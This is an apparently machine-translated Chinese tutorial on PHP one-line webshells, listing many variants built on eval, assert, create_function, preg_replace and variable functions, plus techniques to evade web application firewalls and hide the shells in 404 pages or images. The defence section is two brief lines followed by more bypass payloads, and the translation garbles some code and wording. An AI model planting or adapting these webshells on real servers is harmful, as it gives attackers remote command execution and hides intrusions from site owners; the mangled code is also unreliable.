php一句话木马变形技巧解决,php一句话木马变形技巧教学

php一句话木马变形技巧解决,php一句话木马变形技巧教学,php一句话木马变形技巧

本文主要介绍php的木马转化技巧。对此感兴趣的同学可以参考一下。

目录

一、什么是木马?二。我们如何发送命令,如何执行发送的命令?0.eval函数1.assert函数2.create_function函数3 .call_user_func回调函数4.preg_replace函数5。file_put_contents函数6 .数组数组7.PHP变量函数3 .如何让木马绕过waf?1.PHP变量2.str_replace函数3。base64_decode函数4。''运算符5.parse_str函数6 .更改数据源7。字符替换或特殊编码。特洛伊木马隐藏4。总结5。防卫

一、什么是一句话木马?

总之,木马就是只需要一行代码的木马。只需要一行代码,就可以实现和马来西亚一样的功能。为了绕过waf的检测,一句话,木马有无数种变换,但本质是一样的:木马的功能是执行我们发出的命令。

二、我们如何发送命令,发送的命令如何执行?

我们可以通过三种方式向网站提交数据:GET、POST、COOKIE。一句话,木马通过使用$_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我们传递的数据,然后将接收到的数据传递给木马中执行命令的函数,从而执行命令。所以大多数经典的木马只有两个部分,一个是可以执行代码的功能部分,一个是接收数据的部分。

0.eval函数

?php eval($_POST['a'])?

其中eval是执行命令的函数,* * * $ _ post[' a ']* *是接收到的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就可以让插入了木马的网站执行我们传递的任何PHP语句。这就是特洛伊木马的力量。

因为木马在post请求中接收到“A”的数据($ _ post ['A']),所以我们要通过post方法发送数据,并把要执行的代码赋给“A”。如果将木马中的post替换为get,那么我们需要通过GET方法发送“A”,

用其他函数做一个一句话的木马

1.assert函数

?PHP assert(@ $ _ POST[' a ']);

2.create_function函数

?php$fun=create_function(' ',$ _ POST[' a ']);$ fun();

从用户传递的数据中生成一个函数fun(),然后执行fun()

3. call_user_func回调函数

?php@call_user_func(assert,$ _ POST[' a ']);

call_user_func这个函数可以调用其他函数。被调用函数是call_user_func的第一个函数,被调用函数的参数是call_user_func的第二个参数

这样的语句也可以完成一个特洛伊木马。waf拦截的部分木马可以配合该功能绕过waf。

4.preg_replace函数

?php@preg_replace('/abcde/e ',$_POST['a'],' abcdefg ');

这个函数本来是用正则表达式替换限定字符串的,但是这个函数有一个——可执行命令的函数。

这个函数的第一个参数是一个正则表达式。根据PHP格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。

5. file_put_contents函数

通过函数生成特洛伊木马

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

$test='?PHP $ a=$ _ POST[' cmd '];断言($ a);';

file_put_contents('Trojan.php ',$ test);

函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件的内容。

6.array数组

?php $ a=' assertarray_map('$a ',$ _ REQUEST);

定义上述参数A并赋值“assert”,使用array_map()函数拼接执行语句。最后实现assert($_REQUEST)。

?PHP $ item[' JON ']=' assert ';$ array[]=$ item;$ array[0][' JON ']($ _ POST[' TEST ']);

利用函数的组合效果,将多个参数组合成一个命令,传递后执行。

7.PHP变量函数

?php $ a=' eval$ a(@ $ _ POST[' a ']);

第三个练习使用变量function $a,变量存储函数名eval,所以可以直接用变量替换函数名。

三、如何让一句话木马绕过waf ?

Waf是网站的防火墙。例如,安全狗是一种晶片。Waf通常通过关键词来判断是否是一字木马,但是一字木马的变种很多,waf根本无法全部拦截。想要绕过waf,需要掌握各种PHP技能,而且你的技能比较多。结合技巧设计自己的木马。

1.PHP可变变量

?php $ bb=' eval$ aa=' bb$ $ aa($ _ POST[' a ']);

看看这句话就明白上面的说法了:$ $ AA=(((AA)=$ ('BB')=$ BB="eval "

2.str_replace函数

?php$a=str_replace('Waldo ','',' eWaldoval ');$ a(@ $ _ POST[' a ']);

函数:在第三个参数中,找到第一个参数,用第二个参数替换。这里的第二个参数是一个空字符串,相当于删除了' Waldo '。

3. base64_decode函数

?PHP $ a=base64 _ decode(' ZXZhbA==')$ a($ _ POST[' a ']);

这里是base64解密函数,' ZXZhbA=='是eval的base64加密。

4."."操作符

?php$a='e '。v’;$b='a '。l’;$ c=$ a . $ b;$ c($ _ POST[' a ']);

5.parse_str函数

?php $ str=' a=evalparse _ str($ str);$ a($ _ POST[' a ']);

执行该函数后,将生成一个变量$a,其值为字符串' eval '

6.更换数据来源

6.1获取文章

?PHP $ _ GET[a]($ _ GET[b]);

?php @eval( $_GET[$_GET[b]])

使用方法:

b=cmdcmd=phpinfo()

6.2用脚本代替?标签

script language=' PHP ' @ eval _ r($ _ GET[b])/script

6.3使用会话

7.字符替换或特殊编码

8.木马藏匿

1.404页

2.图片木马,调用与文件包含。

四、总结

旁路技术:

更改执行数据源

字符替换或编码

采取隐蔽措施。

tips:使用一句话木马时,可以在函数前加一个“@”符号。这个符号使得php语句不显示错误信息,增加了隐蔽性。

五、防御

1.禁用assert()函数并监控eval()

2.断言搜索日志。

也可以绕过:

?php $c=$_GET[n]。t’;@ $ c($ _ POST[cmd]);

?php $c=base64_decode('YXNzZXI=')。$_GET[n]。t’;@ $ c($ _ POST[cmd]);

以上是php一句话木马改造技巧的详细内容。更多关于php的一句话木马改造技巧,请关注我们的其他相关文章!

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

相关文章阅读

  • 使用php连接mysql数据库,php连接数据库的方法
  • 使用php连接mysql数据库,php连接数据库的方法,一文详解PHP连接MySQL数据库的三种方式
  • 七种php开发环境搭建工具有哪些,七种php开发环境搭建工具包括
  • 七种php开发环境搭建工具有哪些,七种php开发环境搭建工具包括,七种PHP开发环境搭建工具
  • php高并发三种解决方法,php 高并发解决方案
  • php高并发三种解决方法,php 高并发解决方案,PHP解决高并发问题(opcache)
  • php邮件发送的两种方式区别,php邮件发送的两种方式是什么
  • php邮件发送的两种方式区别,php邮件发送的两种方式是什么,php邮件发送的两种方式
  • php跳转页面的几种实现方法详解图,php跳转页面的几种实现方法详解视频
  • php跳转页面的几种实现方法详解图,php跳转页面的几种实现方法详解视频,PHP跳转页面的几种实现方法详解
  • PHP购物车,php立即购买和购物车功能
  • PHP购物车,php立即购买和购物车功能,php实现购物车功能(上)
  • php读取pdf数据,php pdf读取
  • php读取pdf数据,php pdf读取,PHP中使用mpdf 导出PDF文件的实现方法
  • php网站判断用户是否是手机访问的方法有哪些,php如何判断用户是否登录
  • 留言与评论(共有 条评论)
       
    验证码: